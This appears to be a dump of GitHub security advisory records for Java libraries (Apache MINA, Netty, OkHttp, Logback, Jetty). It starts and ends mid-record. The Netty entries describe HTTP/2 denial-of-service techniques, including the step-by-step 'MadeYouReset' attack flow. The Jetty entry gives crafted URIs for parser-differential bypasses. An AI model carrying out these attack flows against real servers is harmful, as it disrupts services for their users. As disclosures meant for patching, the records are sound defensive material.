"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2976"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/issues/2575"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/issues/6532"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/commit/feb83a1c8fd2e7670b244d5afd23cba5aca43284"
},
{
"type": "PACKAGE",
"url": "https://github.com/google/guava"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/releases/tag/v32.0.0"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230818-0008"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20241108-0002"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01006.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Guava vulnerable to insecure use of temporary directory"
}
GHSA-VF5J-865M-MQ7C
Vulnerability from github – Published: 2026-05-01 12:30 – Updated: 2026-05-07 02:56The fix for CVE-2026-41635 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description:
Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed.
The fix checks if the class is present in the accepted class filter before calling Class.forName().
Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6.
The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier.
Affected are applications using Apache MINA that call IoBuffer.getObject().
Applications using Apache MINA are advised to upgrade.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.mina:mina-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.mina:mina-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42779"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T02:56:58Z",
"nvd_published_at": "2026-05-01T11:16:19Z",
"severity": "CRITICAL"
},
"details": "The fix for CVE-2026-41635 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description:\n\nApache MINA\u0027s AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed.\n\nThe fix checks if the class is present in the accepted class filter before calling Class.forName(). \n\nAffected versions are Apache MINA 2.1.0 \u003c= 2.1.11, and 2.2.0 \u003c= 2.2.6.\n\nThe problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier.\n\nAffected are applications using Apache MINA that call IoBuffer.getObject().\n\nApplications using Apache MINA are advised to upgrade.",
"id": "GHSA-vf5j-865m-mq7c",
"modified": "2026-05-07T02:56:58Z",
"published": "2026-05-01T12:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42779"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-8297-v2rf-2p32"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/mina"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/fhlx5k91hrkgyzh7yk1nghrn3k27gxy0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache MINA vulnerable to Deserialization of Untrusted Data (CVE-2026-41635 Incomplete Fix)"
}
GHSA-W9FJ-CFPG-GRVV
Vulnerability from github – Published: 2026-03-26 18:49 – Updated: 2026-03-27 21:48Summary
A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.
Details
The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the END_HEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.
The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.
Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.
codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java
verifyContinuationFrame() (lines 381-393) — No frame count check:
private void verifyContinuationFrame() throws Http2Exception {
verifyAssociatedWithAStream();
if (headersContinuation == null) {
throw connectionError(PROTOCOL_ERROR, "...");
}
if (streamId != headersContinuation.getStreamId()) {
throw connectionError(PROTOCOL_ERROR, "...");
}
// NO frame count limit!
}
HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames:
// Line 710-711: This check NEVER fires when len=0
if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len <
headerBlock.readableBytes()) {
headerSizeExceeded(); // 10240 - 0 < 1 => FALSE always
}
When len=0: maxGoAway - 0 < readableBytes → 10240 < 1 → FALSE. The byte limit is never triggered.
Impact
This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.132.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 4.2.10.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.11.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33871"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:49:21Z",
"nvd_published_at": "2026-03-27T20:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\nA remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server\u0027s lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.\n\n### Details\nThe vulnerability exists in Netty\u0027s `DefaultHttp2FrameReader`. When an HTTP/2 `HEADERS` frame is received without the `END_HEADERS` flag, the server expects one or more subsequent `CONTINUATION` frames. However, the implementation does not enforce a limit on the *count* of these `CONTINUATION` frames.\n\nThe key issue is located in `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`. The `verifyContinuationFrame()` method checks for stream association but fails to implement a frame count limit.\n\nAny user can exploit this by sending a stream of `CONTINUATION` frames with a zero-byte payload. While Netty has a `maxHeaderListSize` protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to `maxHeaderListSize - 0 \u003c currentSize`, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.\n\n`codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`\n\n**`verifyContinuationFrame()` (lines 381-393)** \u2014 No frame count check:\n```java\nprivate void verifyContinuationFrame() throws Http2Exception {\n verifyAssociatedWithAStream();\n if (headersContinuation == null) {\n throw connectionError(PROTOCOL_ERROR, \"...\");\n }\n if (streamId != headersContinuation.getStreamId()) {\n throw connectionError(PROTOCOL_ERROR, \"...\");\n }\n // NO frame count limit!\n}\n```\n\n**`HeadersBlockBuilder.addFragment()` (lines 695-723)** \u2014 Byte limit bypassed by 0-byte frames:\n```java\n// Line 710-711: This check NEVER fires when len=0\nif (headersDecoder.configuration().maxHeaderListSizeGoAway() - len \u003c\n headerBlock.readableBytes()) {\n headerSizeExceeded(); // 10240 - 0 \u003c 1 =\u003e FALSE always\n}\n```\n\nWhen `len=0`: `maxGoAway - 0 \u003c readableBytes` \u2192 `10240 \u003c 1` \u2192 FALSE. The byte limit is never triggered.\n\n### Impact\nThis is a CPU-based Denial of Service (DoS). Any service using Netty\u0027s default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.",
"id": "GHSA-w9fj-cfpg-grvv",
"modified": "2026-03-27T21:48:53Z",
"published": "2026-03-26T18:49:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass"
}
GHSA-PRJ3-CCX8-P6X4
Vulnerability from github – Published: 2025-08-13 19:06 – Updated: 2025-11-05 20:38Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.”
MadeYouReset Vulnerability Summary
The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service.
Mechanism
The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: 1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) 2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) 3. PRIORITY frame with a length other than 5. (section 6.3) From our experience, the primitives are likely to exist in the decreasing order listed above. Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0.
The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled.
Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM.
Attack Flow
For example, a possible attack scenario can be:
1. Attacker opens an HTTP/2 connection to the server.
2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X.
3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0.
4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1).
The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent)
Comparison to Rapid Reset
The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM.
Suggested Mitigations for MadeYouReset
A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error.
As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively.
If you have any questions, we will be happy to clarify or schedule a Zoom call.
Gal, Anat and Yaniv.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.3.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
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}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.123.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
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},
{
"fixed": "4.1.124.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.grpc:grpc-netty-shaded"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.75.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55163"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-13T19:06:56Z",
"nvd_published_at": "2025-08-13T15:15:39Z",
"severity": "HIGH"
},
"details": "Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as \u201cMadeYouReset.\u201d\n\n### MadeYouReset Vulnerability Summary\nThe MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service.\n\n### Mechanism\nThe vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). \nThe vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are:\n1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1)\n2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it\u0027s possible a CONTINUATION frame to trigger that as well - but it\u0027s very rare). (Section 5.1)\n3. PRIORITY frame with a length other than 5. (section 6.3)\nFrom our experience, the primitives are likely to exist in the decreasing order listed above.\nNote that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we\u2019ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0.\n\nThe vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. \nWhile the protocol does not count those streams as active, the server\u2019s backend logic still processes and handles the requests that were canceled.\n\nThus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM.\n\n### Attack Flow\nFor example, a possible attack scenario can be: \n1. Attacker opens an HTTP/2 connection to the server.\n2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. \n3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0.\n4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1).\n\nThe attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server.\nThis leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent)\n\n### Comparison to Rapid Reset\nThe vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors.\nThe Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5.\nRapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM.\n\n### Suggested Mitigations for MadeYouReset\nA quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server.\nIt is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error.\n\nAs mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively.\n\n\nIf you have any questions, we will be happy to clarify or schedule a Zoom call.\n\nGal, Anat and Yaniv.",
"id": "GHSA-prj3-ccx8-p6x4",
"modified": "2025-11-05T20:38:22Z",
"published": "2025-08-13T19:06:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-prj3-ccx8-p6x4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55163"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-java/commit/6462ef9a11980e168c21d90bbc7245c728fd1a7a"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/be53dc3c9acd9af2e20d0c3c07cd77115a594cf1"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/767506"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/08/16/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty affected by MadeYouReset HTTP/2 DDoS vulnerability"
}
GHSA-3CQM-MF7H-PRRJ
Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2025-11-13 16:34In verifyHostName of OkHostnameVerifier.java, there is a possible way to accept a certificate for the wrong domain due to improperly used crypto. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. Product: AndroidVersions: Android-8.1 Android-9 Android-10 Android-11 Android ID: A-171980069
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.squareup.okhttp3:okhttp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-0341"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-13T16:34:06Z",
"nvd_published_at": "2021-02-10T17:15:00Z",
"severity": "HIGH"
},
"details": "In verifyHostName of OkHostnameVerifier.java, there is a possible way to accept a certificate for the wrong domain due to improperly used crypto. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. Product: AndroidVersions: Android-8.1 Android-9 Android-10 Android-11 Android ID: A-171980069",
"id": "GHSA-3cqm-mf7h-prrj",
"modified": "2025-11-13T16:34:06Z",
"published": "2022-05-24T17:41:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0341"
},
{
"type": "WEB",
"url": "https://github.com/square/okhttp/issues/6724"
},
{
"type": "WEB",
"url": "https://github.com/square/okhttp/pull/6741"
},
{
"type": "WEB",
"url": "https://github.com/square/okhttp/commit/f574ea2f5259d9040f264ddeb582fb1ce563f10c"
},
{
"type": "PACKAGE",
"url": "https://github.com/square/okhttp"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2021-02-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Square OkHttp can accept the wrong certificate"
}
GHSA-QQPG-MVQG-649V
Vulnerability from github – Published: 2026-01-22 12:31 – Updated: 2026-01-22 18:06ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1225"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-22T18:06:44Z",
"nvd_published_at": "2026-01-22T10:16:07Z",
"severity": "LOW"
},
"details": "ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.\n\nThe instantiation of a potentially malicious Java class requires that said class is present on the user\u0027s class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.",
"id": "GHSA-qqpg-mvqg-649v",
"modified": "2026-01-22T18:06:44Z",
"published": "2026-01-22T12:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1225"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/issues/997"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/commit/1f97ae1844b1be8486e4e9cade98d7123d3eded5"
},
{
"type": "PACKAGE",
"url": "https://github.com/qos-ch/logback"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.5.25"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Logback allows an attacker to instantiate classes already present on the class path"
}
GHSA-WJPW-4J6X-6RWH
Vulnerability from github – Published: 2026-03-05 21:41 – Updated: 2026-03-05 21:41The Jetty URI parser has some key differences compared to other common parsers when evaluating invalid or unusual URIs. Specifically:
Invalid Scheme
| URI | Jetty | uri-js (nodejs) | node-url(nodejs) |
|---|---|---|---|
https>://vulndetector.com/path |
scheme=http> |
scheme=https |
invalid URI |
Improper IPv4 mapped IPv6
| URI | Jetty | System.Uri(CSharp) | curl(C) |
|---|---|---|---|
http://[0:0:0:0:0:ffff:127.0.0.1] |
invalid | host=[::ffff:127.0.0.1] |
host=[::ffff:127.0.0.1] |
http://[::ffff:255.255.0.0] |
invalid | host=[::ffff:255.255.0.0] |
host=[::ffff:255.255.0.0] |
Incorrect IPv6 delimeter priority
| URI | Jetty | urllib3(python) | furl(python) | Spring | chromium |
|---|---|---|---|---|---|
http://[normal.com@]vulndetector.com/ |
host=[normal.com@] |
invalid | invalid | ||
http://normal.com[user@vulndetector].com/ |
host=[noirmal.com@vulndetector | | | host=normal.com` |
invalid | |||
http://normal.com[@]vulndetector.com/ |
host=normal.com[@] | | | host=normal.com` |
invalid |
Incorrect delimeter priority
| URI | Jetty | urllib3(python) | jersey |
|---|---|---|---|
http://normal.com/#@vulndetector.com |
host=vulndetector.com |
host=normal.com |
host=normal.com |
http://normal.com/?@vulndetector.com |
host=vulndetector.com |
host=normal.com |
host=normal.com |
Impact
Differential parsing of URIs in systems using multiple components may result in security by-pass. For example a component that enforces a black list may interpret the URIs differently from one that generates a response. At the very least, differential parsing may divulge implementation details.
Patches
Patched in Supported Open Source versions. * 12.1.5 - Supported and available on Maven Central * 12.0.31 - Supported and available on Maven Central * 11.0.x - EOL Release, patches available on tuxcare and herodevs * 10.0.x - EOL Release, patches available on tuxcare and herodevs * 9.4.x - EOL Release, patches available on tuxcare and herodevs
Workarounds
None
Resources
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-http"
},
"ranges": [
{
"events": [
{
"introduced": "9.4.0"
},
{
"last_affected": "9.4.58"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-http"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"last_affected": "10.0.26"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-http"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"last_affected": "11.0.26"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.0.30"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-http"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.0.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.1.4"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty:jetty-http"
},
"ranges": [
{
"events": [
{
"introduced": "12.1.0"
},
{
"fixed": "12.1.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11143"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T21:41:25Z",
"nvd_published_at": "2026-03-05T10:15:54Z",
"severity": "LOW"
},
"details": "The Jetty URI parser has some key differences compared to other common parsers when evaluating invalid or unusual URIs. Specifically:\n\n#### Invalid Scheme\n| URI | Jetty | uri-js (nodejs) | node-url(nodejs) |\n|---|---|---| --- |\n| `https\u003e://vulndetector.com/path` | scheme=`http\u003e`| scheme=`https` | invalid URI |\n\n#### Improper IPv4 mapped IPv6\n\n| URI | Jetty | System.Uri(CSharp) | curl(C) |\n|---|---|---| --- |\n| `http://[0:0:0:0:0:ffff:127.0.0.1]` | invalid | host=`[::ffff:127.0.0.1]` | host=`[::ffff:127.0.0.1]` | \n| `http://[::ffff:255.255.0.0]` | invalid | host=`[::ffff:255.255.0.0]` | host=`[::ffff:255.255.0.0]` | \n\n#### Incorrect IPv6 delimeter priority\n\n| URI | Jetty | urllib3(python) | furl(python) | Spring | chromium |\n|---|---|---| --- |---|---|\n| `http://[normal.com@]vulndetector.com/` | host=`[normal.com@]` | invalid | invalid | | |\n| `http://normal.com[user@vulndetector].com/` | host=`[noirmal.com@vulndetector | | | host=`normal.com` | invalid |\n| `http://normal.com[@]vulndetector.com/` | host=`normal.com[@] | | | host=`normal.com` | invalid |\n\n#### Incorrect delimeter priority\n\n| URI | Jetty | urllib3(python) | jersey |\n|---|---|---| --- |\n| `http://normal.com/#@vulndetector.com` | host=`vulndetector.com` | host=`normal.com` | host=`normal.com` |\n| `http://normal.com/?@vulndetector.com` | host=`vulndetector.com` | host=`normal.com` | host=`normal.com` |\n\n\n### Impact\nDifferential parsing of URIs in systems using multiple components may result in security by-pass. For example a component that enforces a black list may interpret the URIs differently from one that generates a response.\nAt the very least, differential parsing may divulge implementation details. \n\n### Patches\nPatched in Supported Open Source versions.\n* 12.1.5 - Supported and available on Maven Central\n* 12.0.31 - Supported and available on Maven Central\n* 11.0.x - EOL Release, patches available on [tuxcare](https://tuxcare.com/) and [herodevs](https://www.herodevs.com/)\n* 10.0.x - EOL Release, patches available on [tuxcare](https://tuxcare.com/) and [herodevs](https://www.herodevs.com/)\n* 9.4.x - EOL Release, patches available on [tuxcare](https://tuxcare.com/) and [herodevs](https://www.herodevs.com/)\n\n### Workarounds\nNone\n\n### Resources\n\n + [Java Eclipse Jetty Report_ Incorrect Parsing Priority of the IPv6 Hostname Delimeter.pdf](https://github.com/user-attachments/files/22222625/Java.Eclipse.Jetty.Report_.Incorrect.Parsing.Priority.of.the.IPv6.Hostname.Delimeter.pdf)\n + [Java Eclipse Jetty Report_ The Parsing Priority of the Delimiter.pdf](https://github.com/user-attachments/files/22222626/Java.Eclipse.Jetty.Report_.The.Parsing.Priority.of.the.Delimiter.pdf)\n + [Java Eclipse Jetty Report_ Parsing Difference Due to Deformed Scheme.pdf](https://github.com/user-attachments/files/22222627/Java.Eclipse.Jetty.Report_.Parsing.Difference.Due.to.Deformed.Scheme.pdf)\n + [Java Eclipse Jetty Report_ Improper IPv4-mapped IPv6 